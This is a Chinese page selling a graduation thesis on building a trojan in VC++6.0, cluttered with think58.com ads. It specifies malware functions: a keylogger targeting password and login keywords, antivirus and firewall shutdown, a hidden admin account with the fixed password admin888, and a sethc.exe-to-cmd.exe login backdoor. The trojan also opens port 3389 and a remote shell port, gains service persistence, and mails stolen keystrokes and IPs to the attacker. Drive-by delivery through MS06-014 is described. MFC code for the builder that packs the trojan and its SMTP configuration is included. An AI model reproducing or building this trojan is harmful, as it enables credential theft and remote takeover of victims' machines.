142_一个简单木马程序(VC++6.0)
1.无需注册登录,支付后按照提示操作即可获取该资料.
2.资料以网页介绍的为准,下载后不会有水印.资料仅供学习参考之用.
密 惠 保
2 需求分析
2.1 程序要求
木马要求有如下功能:记录具有某些关健字的键盘输入,关闭杀毒软件防火墙,定时向指定邮箱发送邮件,添加系统管理员,替换系统目录下sethc.exe为cmd.exe,打开3389端口,打开用户设定端口,开启CMD权限,把程序自身复制到系统目录下,并设为系统服务实现开机自启动,获取本机IP地址。
通过网页木马下载并运用该木马程序,网页可用MS06-014或者是MS07-004以及更新的漏洞,实现对未打补丁,杀毒软件,防火墙久未更新的系统中招。
配置程序能对邮箱地址进行测试,能设定发信时间,能设定直接连接端口。 【买计算机毕业论文就到www.think58.com】 think58好,好think58 [资料来源:http://think58.com]
2.2 辅助程序图
图1中程序在输入SMTP和邮箱用户名及密码后,能对该邮箱发送一封测试邮件。能把SMTP,邮箱用户名,密码,定时发信时间,连接端口部分加密后,追加到木马尾部,使得木马运行时,从尾部读取信息。
图1 配置木马程序图
配置时,填好SMTP和UserName以及PassWord后,可以点击 发送测试邮件。便可到邮箱中,查看是否发送成功。以我自己的邮箱为例,下图为测试图:
图2 发送测试邮件
图3实现把文件2追加到文件1尾部。
图3 合并文件图
think58好,好think58
[来源:http://think58.com]
[来源:http://www.think58.com]
2.3 木马程序功能说明
1. 记录用户键盘输入。记录有如下关键字的:密码,登录,管理,后台,学院,邮箱,系统,远程桌面,管理,Internet, manage, pass, login, cmd.exe, Firefox, Browser
2. 获取本机IP地址
3. 添加管理员admin$密码admin888
4. 替换系统目录下的sethc.exe为cmd.exe。实现出现系统登录时,不需要知道密码,连按5次SHIFT,就可以调出CMD.EXE,可在CMD.EXE中执行添加管理员的命令,也可以执行EXPLORER.EXE,进而打开桌面等。而远程桌面登录时,也可以通过此项调出CMD.EXE程序
5. 关闭常见防火墙和杀毒软件
6. 打开3389端口
7. 定时向指定邮箱发送邮件,内容为本机IP和键盘输入
8. 打开设定端口,取得目标主机的cmd权限
9. 把程序安装成服务,实现自启动
10.使用Ms06-014网页木马
11.编写两个辅助程序
3 程序设计
3.1 辅佐程序设计
为了使用配置程序,需要设两个辅助程序,来实现合并程序,生成木马程序并将配置文件写入木马程序中。通过VC++6.0,建一个如图1的MFC程序。第一个文件读取按钮,代码如下:
void CAddTwoDlg::OnBtnfile1()
{
CFileDialog dlg(true);
if(dlg.DoModal()==IDOK) think58好,好think58
{
m_file1=dlg.GetPathName();
UpdateData(0); //将取得的文件名更新到文本框1中
}
}
配置木马程序代码:
void CNneDlg::OnBtnmake()
{
UpdateData(1);
char path[256]={0}; //文件2 从文件1中分离出来
GetCurrentDirectory(256,path) ;//取得当前文件夹路径!
CString file1;
CString file2;
file1.Format("%s\\config.exe",path);
file2.Format("%s\\trojan.exe",path);
CFile fSource(file1,CFile::modeRead | CFile::modeNoTruncate);
int iSourceLength = fSource.GetLength();
fSource.Seek(iSourceLength-30,CFile::begin);
char buffer[40];
ZeroMemory(buffer,40);
fSource.Read(buffer,30);
int iTargetLength = atoi(buffer);
fSource.Seek(iSourceLength-iTargetLength-30,CFile::begin);
CFile fTarget(file2,CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
char *pBuffer = new char[iTargetLength];
ZeroMemory(pBuffer,iTargetLength);
fSource.Read(pBuffer,iTargetLength);
think58.com
[资料来源:THINK58.com]
fTarget.Write(pBuffer,iTargetLength);
delete []pBuffer;
fSource.Close();
fTarget.Close();
CString file3; //将配置写入一文本文件
file3.Format("%s\\config.txt",path);
FILE *pFile=fopen(file3,"w+");
fwrite(m_smtp,1,m_smtp.GetLength(),pFile);
char ch=10;
fputc(ch,pFile);
//将邮箱用户名加密
fwrite(encrypt(m_username),1,encrypt(m_username).GetLength(),pFile);
fwrite(m_username,1,m_username.GetLength(),pFile);
fputc(ch,pFile);
fwrite(m_password,1,m_password.GetLength(),pFile);
fputc(ch,pFile);
CString xxx;
GetDlgItemText(IDC_EDIT_time,xxx);
fwrite(xxx,1,xxx.GetLength(),pFile);
fputc(ch,pFile);
CString pport;
GetDlgItemText(IDC_EDIT_port,pport);
fwrite(pport,1,pport.GetLength(),pFile);
fputc(ch,pFile);
fclose(pFile);
think58.com
[资料来源:THINK58.com]